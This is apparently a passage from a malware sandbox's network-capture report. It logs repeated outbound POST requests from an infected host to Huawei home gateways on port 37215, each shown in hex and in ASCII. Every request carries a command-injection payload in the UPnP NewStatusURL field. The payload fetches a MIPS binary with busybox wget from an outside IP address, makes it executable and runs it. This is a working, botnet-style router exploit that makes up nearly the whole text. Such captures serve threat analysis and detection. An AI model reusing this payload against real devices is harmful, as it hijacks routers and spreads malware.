xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:55.372621059 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:09.740880966 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:38.508698940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.20	54822	160.202.170.162	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:41.616970062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.20	56984	94.121.176.209	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:52.311988115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.20	44904	156.247.22.241	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:52.360497952 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:53.808649063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:55.548619986 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:59.028696060 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
